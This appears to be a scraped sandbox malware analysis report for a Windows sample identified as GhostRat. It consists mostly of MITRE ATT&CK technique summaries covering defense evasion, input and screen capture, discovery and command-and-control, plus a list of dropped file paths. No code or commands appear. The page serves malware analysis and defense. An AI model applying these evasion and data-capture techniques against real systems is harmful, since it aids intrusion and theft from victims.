Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FIWszl1A8l.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GhostRat

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\ChromeSetup[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\PolicyManagement.xml

C:\Users\user\AppData\Local\Temp\PolicyManagement.xml

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00ro3hm1.mcv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1aeumgcj.z4i.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1aoi3n5q.45b.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4nu2b3d3.5h4.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_50gdeh2v.jsw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bpirpbus.hma.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c21tfybo.3u0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cq0pczsi.bpk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enth5aiz.wvn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxcyesdp.1on.psm1

Windows Analysis Report
FIWszl1A8l.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre